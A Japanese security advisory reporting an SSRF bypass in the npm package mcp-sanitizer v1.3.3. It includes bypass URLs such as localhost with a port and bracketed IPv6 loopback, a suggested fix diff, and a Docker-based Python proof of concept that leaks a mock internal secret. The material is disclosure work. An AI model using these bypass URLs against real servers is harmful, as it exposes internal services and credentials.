mcp-sanitizer: URLサニタイザーにおける、明示的なポート番号または角括弧で囲まれたIPv6アドレスを使用した、ローカルホスト/IPv6ループバックSSRF回避の脆弱性

## URLサニタイザーにおける、明示的なポート番号または角括弧で囲まれたIPv6アドレスを使用した、ローカルホスト/IPv6ループバックSSRF回避の脆弱性

### 概要

`mcp-sanitizer` v1.3.3では、`localhost` URLに明示的なポート番号が含まれている場合(例:`http://localhost:8080/`)や、IPv6ループバック/リンクローカルアドレスが角括弧で表記されている場合(例:`http://[::1]:8080/`、`http://[fe80::1]:8080/`)に、Server-Side Request Forgery (SSRF)の対象をブロックできません。このライブラリは、`web_fetch`や`web_scraper`などのMCPツールのパラメータを、外部HTTPリクエストが行われる前に検証するように設計されています。そのため、この脆弱性を悪用すると、攻撃者が制御するURLが内部サービスに到達し、その応答が漏洩する可能性があります。

### 詳細

この脆弱性は、`src/utils/validation-utils.js`内の`validateURLLocation()`関数に存在し、`src/sanitizer/mcp-sanitizer.js:698`で呼び出されます。

**バグ1:ポート番号によるローカルホストのチェック(274行~276行):**

```js
// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
throw new Error('URL points to localhost without explicit port');
}
```

`&& !parsedUrl.port`という条件により、ポート番号を含むローカルホストURLはエラーとして扱われません。`http://localhost:8080/`はチェックを通過し、元のURLが保持された状態で`blocked: false`が返されます。

**バグ2:角括弧で囲まれたIPv6ホスト名の不一致(272行、293行~295行):**

```js
// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
```

Node.jsの`URL` APIは、IPv6アドレスに対して、角括弧で囲まれた形式で`parsedUrl.hostname`を返します。具体的には、`[::1]`や`[fe80::1]`です。したがって、文字列比較 `hostname === '::1'`(274行目)や `hostname.startsWith('fe80:')`(293行目)は、実際の文字列が角括弧で始まるため、常に一致しません。

**ミドルウェアを通るデータの流れ:**

1. `src/middleware/express.js:499` — ツール名が、`req.params.toolName`または`req.body?.tool_name`から取得されます。
2. `src/middleware/express.js:548-554` — `web_scraper`/`web_fetch`の`params.url`が、`sanitizer.sanitize(url, { type: 'url' })`に渡されます。
3. `src/sanitizer/mcp-sanitizer.js:527-528` — コンテキストタイプが`url`の場合、`_secureSanitizeURL()`にルーティングされます。
4. `src/sanitizer/mcp-sanitizer.js:698-700` — `validateURLLocation(parsedUrl)`が呼び出され、成功した場合、`parsedUrl.toString()`が、サニタイズされた信頼できるURLとして呼び出し元に返されます。

これらのバグは、デフォルトのコードパスに存在し、発生させるために特別な設定は必要ありません。

**推奨される修正:**

```diff
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@
- const hostname = parsedUrl.hostname.toLowerCase();
+ const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@
- if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
- throw new Error('URL points to localhost without explicit port');
+ if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+ throw new Error('URL points to localhost or loopback');
}
@@
- if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+ if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+ hostname.startsWith('fc') || hostname.startsWith('fd')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
+
+ if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+ throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+ }
```

### PoC (概念実証)

**前提条件:** Dockerがインストールされていること。その他の依存関係は不要です。

**1. Dockerイメージのビルド:**

```bash
docker build \
-f vuln-001/Dockerfile \
-t vuln-001-mcp-sanitizer \
reports/npmAI_754_starman69__mcp-sanitizer
```

**2. PoCの実行:**

```bash
docker run --rm vuln-001-mcp-sanitizer
```

イメージ内の`poc.py`スクリプトの内容:
- `127.0.0.1:8080`で、文字列`INTERNAL_SECRET_DATA_9f3a2b1c`を提供する、モックの内部HTTPサービスを開始します。
- Node.jsを使用して、5つのURL(2つはブロックされることが期待され、3つは回避の可能性がある)に対して`sanitizer.sanitize(url, { type: 'url' })`を呼び出します。
- サニタイザーによって承認されたURLを使用して、実際に`GET http://localhost:8080/`を実行し、シークレットが返されることを確認します。

**期待される出力 (一部省略):**

```
[BYPASS_CONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] 内部の機密情報が漏洩しました: INTERNAL_SECRET_DATA_9f3a2b1c
結果: PASS - SSRFの回避が、エンドツーエンドで完全に実証されました。
```

基本的な設定では、ライブラリは `http://localhost/` と `http://127.0.0.1/` をブロックします (`blocked: true`)。これは、回避が一般的な問題ではなく、検証ロジックの特定の欠陥によるものであることを証明しています。

**最小限の再現コード (Docker不要):**

```bash
# mcp-sanitizerのリポジトリのルートディレクトリ内 (最初にnpm ciを実行)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
'http://localhost:8080/',
'http://[::1]:8080/',
'http://[fe80::1]:8080/'
]) {
const r = sanitizer.sanitize(url, { type: 'url' });
console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE
```

### 影響

これは、**サーバーサイドリクエストフォージェリ (SSRF)** の脆弱性です。以下の条件を満たすアプリケーションは脆弱です。

1. `mcp-sanitizer` の `sanitize()` / `createMCPToolMiddleware()` を、外部URLのセキュリティ境界として使用していること。
2. そして、返されたサニタイズされたURLをHTTPクライアントに渡していること (これは、`web_fetch`/`web_scraper` MCPツールのためのライブラリの公式な推奨される使用方法です)。

この脆弱性は、MCPサーバーの展開において、認証されていないネットワーク攻撃者が `url` パラメータを送信できる場合に悪用される可能性があります。

**影響:**
- **機密性(高い):** 攻撃者は、内部サービス(クラウドメタデータエンドポイントなど、例:`http://169.254.169.254/`、管理パネル、またはローカルホストのデーモンなど)から応答を取得できる可能性があり、これにより、認証情報、トークン、または機密設定情報が漏洩する可能性があります。
- **完全性(低い):** 内部サービスが書き込み可能なAPIを公開している場合、攻撃者はHTTP経由で状態を変更したり、コマンドを実行したりできる可能性があります。
- **可用性:** 直接的な影響はありません。

この脆弱性は、認証、特別な設定、またはユーザーの操作を必要とせず、デフォルトのミドルウェアパスで悪用可能です。

### 再現に必要なファイル

#### `Dockerfile`

```dockerfile
FROM node:18-alpine

# PoCスクリプトのためにPython3をインストール
RUN apk add --no-cache python3

WORKDIR /app

# パッケージファイルを最初にコピーすることで、レイヤーのキャッシュを改善
COPY repo/package.json repo/package-lock.json ./

# Node.jsの依存関係をインストール(クリーンインストール、開発依存関係は除く)
RUN npm ci --ignore-scripts --omit=dev

# ライブラリのソースコードをコピー
COPY repo/src ./src/

# PoCスクリプトをコピー
COPY vuln-001/poc.py ./poc.py

# デフォルトでPoCを実行
CMD ["python3", "poc.py"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
VULN-001のPoC:localhost+ポートとIPv6のブラケット表記によるmcp-sanitizerのSSRF回避
ライブラリ:mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: サーバーサイドリクエストフォージェリ
CVSS 3.1: 8.2 (High)

根本原因:
src/utils/validation-utils.js:274:
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
- "&& !parsedUrl.port"という条件により、ポート番号を持つローカルホストのURLは、このブロックを回避します。
- Node.jsのURL APIは、IPv6に対してホスト名を"[::1]" / "[fe80::1]"(ブラケット付き)で返すため、文字列の等価性チェックと"fe80:"で始まるかどうかのチェックの両方が、静かに失敗します。
```

攻撃シナリオ:
1. 攻撃者は、web_fetch / web_scraper MCP ツール呼び出しの "url" パラメータを制御します。
2. サーバーは、sanitize(params.url, { type: 'url' }) を呼び出し、その結果を信頼します。
3. バイパスが成功すると、サーバーは内部サービス (localhost:PORT) への HTTP リクエストを送信し、その応答を攻撃者に漏洩させます。

"""

import subprocess
import sys
import json
import http.server
import threading
import urllib.request
import os

# ─────────────────────────────────────────────────────────────────────────────
# ステップ 1: 127.0.0.1:8080 でモックの "内部" サービスを開始します。
# これは、外部からの入力からは到達すべきではない、特権的な内部エンドポイント (例: メタデータ API、
# 管理パネル) をシミュレートします。
# ─────────────────────────────────────────────────────────────────────────────
INTERNAL_PORT = 8080
INTERNAL_SECRET = "INTERNAL_SECRET_DATA_9f3a2b1c"

class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
"""制限された内部 HTTP サービス (例: 管理 API またはメタデータエンドポイント) をシミュレートします。"""

def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("X-Internal", "true")
self.end_headers()
self.wfile.write(f"{INTERNAL_SECRET}\npath={self.path}\n".encode())

def log_message(self, fmt, *args):
pass # より見やすい出力のために、デフォルトのアクセスログを抑制します

internal_server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), InternalServiceHandler)
srv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)
srv_thread.start()
print(f"[*] モックの内部サービスを 127.0.0.1:{INTERNAL_PORT} で開始しました。")
print(f"[*] 内部シークレット: {INTERNAL_SECRET}\n")

```
# ─────────────────────────────────────────────────────────────────────────────
# ステップ2:Node.jsを使用してmcp-sanitizerを実行し、バイパスURLをテストします。
# ─────────────────────────────────────────────────────────────────────────────
NODE_SCRIPT = r"""
'use strict';
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();

const tests = [
// これらはブロックされるはずです(基準:ライブラリはlocalhostをブロックすると想定されます)。
{ url: 'http://localhost/', expectBlocked: true },
{ url: 'http://127.0.0.1/', expectBlocked: true },
// これらはバイパスのケース(脆弱性)です。
{ url: 'http://localhost:8080/', expectBlocked: false },
{ url: 'http://[::1]:8080/', expectBlocked: false },
{ url: 'http://[fe80::1]:8080/', expectBlocked: false },
];

const out = tests.map(t => {
let result;
try {
result = sanitizer.sanitize(t.url, { type: 'url' });
return {
url: t.url,
blocked: result.blocked,
sanitized: result.sanitized,
expectBlocked: t.expectBlocked
};
} catch (err) {
return {
url: t.url,
blocked: true,
sanitized: null,
expectBlocked: t.expectBlocked,
error: err.message
};
}
});

process.stdout.write(JSON.stringify(out));
"""

print("[*] Node.js経由でmcp-sanitizerのURLサニタイズテストを実行中...")
proc = subprocess.run(
["node", "-e", NODE_SCRIPT],
capture_output=True,
text=True,
cwd="/app"
)

if proc.returncode != 0:
print(f"[ERROR] Node.jsプロセスがコード{proc.returncode}で終了しました。")
print(f"stderr: {proc.stderr}")
sys.exit(2)

if not proc.stdout.strip():
print("[ERROR] Node.jsプロセスからの出力がありません。")
print(f"stderr: {proc.stderr}")
sys.exit(2)

results = json.loads(proc.stdout)
```

# ─────────────────────────────────────────────────────────────────────────────
# ステップ3:サニタイザーの結果を表示し、回避されたURLを特定する
# ─────────────────────────────────────────────────────────────────────────────
print("[*] サニタイザーの結果:\n")
header = f"{'URL':<35} {'ブロック':<8} {'サニタイズ':<35} ステータス"
print(header)
print("-" * len(header))

bypass_urls = []
unexpected = []

for r in results:
blocked = r["blocked"]
expected = r["expectBlocked"]
sanitized_str = str(r.get("sanitized") or "null")
status = "OK" if blocked == expected else "予期せぬ結果"
if not blocked and r.get("sanitized"):
bypass_urls.append(r["sanitized"])
status = "回避成功"
print(f"{r['url']:<35} {str(blocked):<8} {sanitized_str:<35} {status}")
if blocked != expected:
unexpected.append(r)

print()

# ─────────────────────────────────────────────────────────────────────────────
# ステップ4:回避されたローカルホスト:8080のURLを使用して、実際のSSRFリクエストを実行する
# これにより、サニタイザーの脆弱性が、実際の内部サービスへのアクセスにつながることを証明する。
# ─────────────────────────────────────────────────────────────────────────────
ssrf_confirmed = False
ssrf_evidence = None
ssrf_url = "http://localhost:8080/"

if ssrf_url in bypass_urls:
print(f"[*] SSRFを試行中: GET {ssrf_url} (サニタイザーによって承認されたURLを使用) ...")
try:
resp = urllib.request.urlopen(ssrf_url, timeout=5)
body = resp.read().decode().strip()
print(f"[*] HTTPレスポンスステータス: {resp.status}")
print(f"[*] HTTPレスポンスボディ:\n {body.replace(chr(10), chr(10) + ' ')}")
if INTERNAL_SECRET in body:
ssrf_confirmed = True
ssrf_evidence = body
print(f"\n[!!!] 内部の機密情報が漏洩しました: {INTERNAL_SECRET}")
except Exception as exc:
print(f"[ERROR] HTTPリクエストが失敗しました: {exc}")
else:
print(f"[WARN] {ssrf_url} は bypass_urls に含まれていません。実際のSSRFのステップをスキップします。")

```
internal_server.shutdown()

# ─────────────────────────────────────────────────────────────────────────────
# ステップ5:最終結果
# ─────────────────────────────────────────────────────────────────────────────
print(f"\n{'='*65}")
print("結果")
print(f"{'='*65}")
print(f" サニタイザーによって確認された回避URLの数: {len(bypass_urls)}")
print(f" 回避されたURL: {bypass_urls}")
print(f" 実際のSSRF HTTPリクエストが成功したか: {ssrf_confirmed}")
print(f" 抽出された秘密情報との一致: {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}")

if ssrf_confirmed and len(bypass_urls) >= 2:
print("\n 結果:合格 - SSRFの回避がエンドツーエンドで完全に実証されました")
print(" - mcp-sanitizer v1.3.3は、localhost:8080、[::1]:8080、[fe80::1]:8080をブロックしませんでした")
print(f" - 内部サービスへの実際のHTTP GETリクエストで返された内容: {ssrf_evidence!r}")
sys.exit(0)
elif len(bypass_urls) >= 2:
print("\n 結果:部分的に合格 - サニタイザーの回避は確認されましたが、実際のHTTPリクエストは失敗しました")
print(f" - {len(bypass_urls)}個のURLがサニタイザーを回避しました: {bypass_urls}")
sys.exit(1)
else:
print("\n 結果:不合格 - 少なくとも2つの回避URLが期待されました")
sys.exit(1)
```

影響を受けるパッケージ:
- npm (JavaScript) mcp-sanitizer: 影響を受けるバージョンは1.4.0未満、1.4.0で修正済み